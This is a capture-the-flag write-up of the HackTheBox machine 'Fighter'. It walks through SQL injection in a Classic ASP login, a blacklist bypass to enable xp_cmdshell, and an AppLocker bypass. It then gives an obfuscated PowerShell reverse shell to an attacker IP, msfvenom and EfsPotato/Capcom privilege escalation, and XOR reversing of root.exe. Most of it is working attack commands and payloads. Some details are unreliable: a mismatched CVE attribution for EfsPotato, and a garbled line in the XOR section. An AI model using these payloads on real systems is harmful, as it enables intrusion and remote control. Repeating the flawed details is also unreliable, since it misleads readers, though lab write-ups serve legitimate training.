Fighter - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Fighter is an Insane-rated Windows machine that combines advanced web exploitation with Windows post-exploitation techniques. The box features a vulnerable Classic ASP login portal susceptible to SQL injection with case-sensitive payload constraints. Attackers must bypass blacklist filters, leverage sysadmin-level MSSQL privileges to achieve command execution, and finally abuse Windows privileges or vulnerable drivers to escalate to SYSTEM. The machine emphasizes real-world enumeration, payload obfuscation, AppLocker bypass techniques, and careful exploit adaptation when standard tooling fails.

TL;DR: Subdomain enumeration → SQL injection with blacklist bypass in Classic ASP → UNION-based data exfiltration via Set-Cookie header → stacked queries enabling xp_cmdshell → AppLocker bypass using alternate PowerShell paths → shell as sqlserv with SeImpersonatePrivilege → EfsPotato or Capcom driver exploit to SYSTEM → reverse engineering root.exe with XOR-9 decryption to obtain root flag.

Reconnaissance

Port Scanning

# Full TCP port scan
nmap -p- -T4 --min-rate=1000 10.10.10.72 -oA nmap/alltcp

# Service enumeration on discovered ports
nmap -sC -sV -p80,135,139,445 10.10.10.72 -oA nmap/services

Results:

PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Street Fighter Club
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds

The presence of IIS 8.5 indicates Windows Server 2012 R2. SMB enumeration did not yield anonymous access, focusing efforts on the web application.

Web Service Enumeration

Initial Website Analysis

Visiting http://10.10.10.72 presents a Street Fighter-themed website referring to streetfighterclub.htb. The site mentions a members area but doesn’t link directly to it.

# Add to /etc/hosts
echo "10.10.10.72 streetfighterclub.htb" | sudo tee -a /etc/hosts

Subdomain Enumeration

The reference to a “members site” suggests subdomain enumeration is necessary. Using a wordlist generated from the main site:

# Generate custom wordlist from site content
cewl http://streetfighterclub.htb -w words.txt

# Subdomain fuzzing with wfuzz
wfuzz -c -z file,words.txt --hc 404 -H "Host: FUZZ.streetfighterclub.htb" \
  http://streetfighterclub.htb

This reveals the members.streetfighterclub.htb subdomain.

# Add subdomain to hosts file
echo "10.10.10.72 members.streetfighterclub.htb" | sudo tee -a /etc/hosts

Directory Enumeration

# Directory brute-forcing on members subdomain
gobuster dir -u http://members.streetfighterclub.htb \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x asp,aspx,html,htm \
  -t 50

Key findings:

• /old/ directory discovered
• /old/login.asp - Classic ASP login page
• /old/verify.asp - Authentication handler

Vulnerability Assessment

The Classic ASP login form at /old/login.asp submits credentials to verify.asp via POST. Key parameters identified:

• username - Username field
• password - Password field
• logintype - Hidden parameter (integer)
• rememberme - Checkbox value (ON/OFF)

Initial testing revealed:

1. SQL Injection vulnerability in the logintype parameter
2. Case transformation - The ASP application uppercases all SQL injection payloads, breaking case-sensitive Base64 encoding
3. Output channel - Successful queries reflect data in the Set-Cookie: Email header (URL-encoded, then Base64-encoded) only when rememberme=ON
4. Blacklist filter - Direct use of xp_cmdshell is blocked

Initial Foothold

SQL Injection Exploitation

Column Count Enumeration

Using Burp Suite Repeater to manipulate the POST request to /old/verify.asp:

POST /old/verify.asp HTTP/1.1
Host: members.streetfighterclub.htb
Content-Type: application/x-www-form-urlencoded

username=admin&password=pass&logintype=1' ORDER BY 1--&rememberme=ON

Incrementing the ORDER BY value until an error occurs:

# ORDER BY 1 through 6: HTTP 302 (success)
# ORDER BY 7: HTTP 500 (error)
# Conclusion: 6 columns in the SELECT statement

UNION-Based Data Exfiltration

Testing which column reflects in the output:

logintype=1' UNION SELECT NULL,NULL,NULL,NULL,USER_NAME(),NULL--

After URL and Base64 decoding the Set-Cookie: Email value, column 5 was confirmed to reflect the query output. The rememberme=ON parameter is critical - without it, the Email cookie is not set.

Database Enumeration

# Current database
logintype=1' UNION SELECT NULL,NULL,NULL,NULL,DB_NAME(),NULL--
# Result: web

# Current user
logintype=1' UNION SELECT NULL,NULL,NULL,NULL,USER_NAME(),NULL--
# Result: web

# Check sysadmin privileges
logintype=1' UNION SELECT NULL,NULL,NULL,NULL,CAST(IS_SRVROLEMEMBER('sysadmin') AS VARCHAR),NULL--
# Result: 1 (user is sysadmin!)

The web SQL login has sysadmin privileges on the SQL Server 2014 Express instance, enabling advanced exploitation techniques.

Command Execution via xp_cmdshell

Bypassing the Blacklist

Direct use of xp_cmdshell is blocked by a simple blacklist filter. However, SQL Server function names are case-insensitive, allowing obfuscation:

# Blocked: xp_cmdshell
# Works: Xp_cMdsHelL (mixed case bypass)

Enabling xp_cmdshell

Using stacked queries (semicolon-separated statements):

logintype=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--&rememberme=ON

Since the output isn’t directly visible, a table-based exfiltration technique is necessary:

# Create output table
logintype=1;DROP TABLE fighter;CREATE TABLE fighter (out VARCHAR(8000));--

# Execute command and capture output
logintype=1;INSERT INTO fighter (out) EXECUTE Xp_cMdsHelL 'whoami';--

# Read output via UNION
logintype=1' UNION SELECT NULL,NULL,NULL,NULL,out,NULL FROM fighter--

Result: fighter\sqlserv

AppLocker Bypass

Testing PowerShell execution revealed that the standard 64-bit PowerShell path is blocked by AppLocker:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
# Blocked by AppLocker

However, the 32-bit PowerShell in the SysWOW64 directory is not blocked:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
# Allowed!

Payload Upload Challenge

The case-uppercasing behavior broke Base64-encoded payloads (Base64 is case-sensitive). The solution was to use hex encoding with certutil:

# Generate Meterpreter payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.15 LPORT=443 \
  -f exe -o payload.exe

# Convert to hex for upload
certutil -encodehex payload.exe payload.hex

# Calculate SHA256 for verification
sha256sum payload.exe

Upload via SQL injection stacked queries:

# Each line of hex uploaded via:
logintype=1;INSERT INTO fighter (out) VALUES ('HEX_LINE_HERE');--

# After all lines uploaded, decode:
logintype=1;EXECUTE Xp_cMdsHelL 'certutil -decodehex C:\Windows\Temp\payload.hex C:\Windows\Temp\payload.exe';--

# Verify hash matches
logintype=1;EXECUTE Xp_cMdsHelL 'certutil -hashfile C:\Windows\Temp\payload.exe SHA256';--

Reverse Shell

Using the 32-bit PowerShell path with a Nishang one-liner (obfuscated with case variation):

logintype=1;INSERT INTO fighter (out) EXECUTE Xp_cMdsHelL 'C:\WIndOWs\sySwOw64\WINdOwspOweRshEll\v1.0\poWersHeLl.Exe "$clIEnT = NEw-ObJect SYstEm.nEt.SOckEts.TcPclIeNt(\"10.10.14.15\",443);$stReAm = $clIEnT.GetsTrEam();[byte[]]$bYtEs = 0..65535|%{0};wHIle(($i = $stReAm.Read($bYtEs, 0, $bYtEs.LEnGth)) -ne 0){;$dAta = (NEW-oBjecT -TypeNAme SYsTem.tExt.ASCIiENcoDing).GEtstRInG($bYtEs,0, $i);$sEndback = (iEX $data 2>&1 | OUt-stRing );$Sendback2 = $sEndback + \"PS \" + (pWd).PAth + \"^> \";$senDbyte = ([texT.eNCodIng]::AScIi).GEtByTes($Sendback2);$stReAm.WRite($senDbyte,0,$senDbyte.Lengt h);$stReAm.FLuSh()};$clIEnT.CloSe()"';--

# Listener
nc -lvnp 443

Shell received as FIGHTER\sqlserv with High integrity token and SeImpersonatePrivilege enabled.

Privilege Escalation

Enumeration as sqlserv

# Check current user and privileges
whoami /all

# Key findings:
# - User: FIGHTER\sqlserv
# - Integrity Level: High
# - SeImpersonatePrivilege: Enabled

Service and Driver Enumeration

# List all services
sc query state= all type= all | findstr SERVICE_NAME

# List drivers
driverquery

Among the installed drivers, Capcom.sys was identified - a known vulnerable driver (CVE-2017-6008) that allows arbitrary kernel code execution.

Privilege Escalation Path: SeImpersonatePrivilege

Given the SeImpersonatePrivilege, modern potato exploits are viable. The agent opted for EfsPotato over the Capcom driver approach due to environment considerations:

# Download EfsPotato source
wget https://github.com/zcgonvh/EfsPotato/raw/master/EfsPotato.cs

# Compile on Kali (requires mono)
mcs EfsPotato.cs -out:EfsPotato.exe

# Or compile on Windows target if .NET is available
# C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:EfsPotato.exe EfsPotato.cs

Upload EfsPotato.exe using the same hex-encoding technique as before:

# Convert to hex
certutil -encodehex EfsPotato.exe efspotato.hex

# Upload via SQL (multiple INSERT statements)
# Then decode on target
certutil -decodehex C:\Windows\Temp\efspotato.hex C:\Windows\Temp\EfsPotato.exe

Execute EfsPotato to spawn a SYSTEM shell:

# Via SQL injection command execution
C:\Windows\Temp\EfsPotato.exe "C:\Windows\Temp\payload_system.exe"

This exploits the Windows RPC/DCOM architecture to impersonate the SYSTEM account and execute arbitrary code, leveraging CVE-2021-36934 principles (though EfsPotato is based on earlier token manipulation techniques).

# Catch reverse shell as SYSTEM
nc -lvnp 445

Shell received as NT AUTHORITY\SYSTEM.

Alternative: Capcom.sys Driver Exploit

The reference writeup used the Capcom driver vulnerability. This driver, intentionally vulnerable for game anti-cheat testing, allows user-mode code to execute arbitrary kernel-mode shellcode.

CVE-2017-6008 - The Capcom.sys driver contains a function that accepts a user-supplied pointer and executes it as kernel code without validation.

Metasploit contains a module for this:

# Upgrade to Meterpreter first (x86 -> x64 migration required)
msfconsole
use exploit/windows/local/capcom_sys_exec
set SESSION 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.15
set LPORT 4444
run

The module may require modification to bypass architecture checks, as documented in the reference.

User Flag

# As SYSTEM, access decoder's desktop
type C:\Users\decoder\Desktop\user.txt

User flag captured: <redacted>

Root Flag

Reversing root.exe

On the Administrator’s desktop, root.exe and check.dll were discovered:

dir C:\Users\Administrator\Desktop

Download both files for analysis:

# Download via Meterpreter, SMB, or base64 exfiltration
# Analysis in IDA Pro or Ghidra

Static Analysis

Disassembly of root.exe reveals:

1. The program prompts for a password
2. It XORs each byte of the embedded string FmfEhOl}hwith the key9`
3. The result is compared against user input
4. If matched, the flag is displayed

XOR Decryption

#!/usr/bin/env python3

# Encrypted string from binary
encrypted = "Fm`fEhOl}h"

# XOR key
key = 9

# Decrypt
password = ''.join(chr(ord(c) ^ key) for c in encrypted)
print(f"Password: {password}")

Output: OdioLaFeta

Flag Retrieval

C:\Users\Administrator\Desktop\root.exe
# Enter password: OdioLaFeta

Root flag captured: <redacted>

Attack Chain Summary

Web Recon (IIS 8.5)
  → Subdomain Discovery (members.streetfighterclub.htb)
    → Directory Enumeration (/old/login.asp)
      → SQL Injection (logintype parameter)
        → Blacklist Bypass (Xp_cMdsHelL case obfuscation)
          → xp_cmdshell Enable + AppLocker Bypass (SysWOW64 PowerShell)
            → Reverse Shell (FIGHTER\sqlserv, High Integrity)
              → SeImpersonatePrivilege Abuse (EfsPotato)
                → SYSTEM Shell
                  → Reverse Engineering (root.exe XOR-9 decryption)
                    → Root Flag (password: OdioLaFeta)

Tools Used

Key Learnings

Techniques Practiced

• Advanced SQL injection with output exfiltration via HTTP headers
• Blacklist bypass using case-obfuscation of SQL Server functions
• AppLocker bypass via alternate PowerShell binary paths
• Payload upload constraints - adapting to case transformation with hex encoding
• Windows privilege escalation via SeImpersonatePrivilege (potato exploits)
• Vulnerable driver exploitation (Capcom.sys / CVE-2017-6008)
• Binary reverse engineering and XOR cryptanalysis
• Stacked query exploitation in Classic ASP applications

Lessons Learned

1. Always test multiple output channels in blind SQLi - In this case, the Set-Cookie header only worked with rememberme=ON, a detail easily missed.

2. Case sensitivity matters in payload delivery - The uppercase transformation required switching from Base64 to hex encoding. Always verify payload integrity post-upload with hash checks.

3. Blacklists are fragile - Simple case variation bypassed the xp_cmdshell filter. Whitelisting and proper input validation are more robust defenses.

4. AppLocker requires comprehensive coverage - Blocking only the 64-bit PowerShell path left the 32-bit version accessible. All PowerShell hosts (including powershell_ise.exe, various DLLs) must be restricted.

5. SeImpersonatePrivilege is a powerful escalation vector - On modern Windows systems, service accounts with this privilege are vulnerable to potato-class exploits (Juicy, Rogue, Rotten, EfsPotato, etc.).

6. Vulnerable drivers can persist indefinitely - The Capcom driver (CVE-2017-6008) was intentionally vulnerable but illustrates the risk of third-party kernel drivers. Windows Defender Application Control (WDAC) can mitigate this.

7. Simple obfuscation defeats static analysis - XOR with a single-byte key is trivial to break, but requires reverse engineering. Defense: monitor for suspicious processes accessing unusual files.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• HackTheBox Official Writeup: Fighter (Document No D18.100.24) by egre55
• Capcom.sys Exploitation: CVE-2017-6008
• SQL Injection Techniques: Tarlogic Red Team Tales 0x01
• Nishang PowerShell Reverse Shells: samratashok/nishang
• PowerShell Obfuscation: Invoke-Obfuscation by Daniel Bohannon
• EfsPotato: zcgonvh/EfsPotato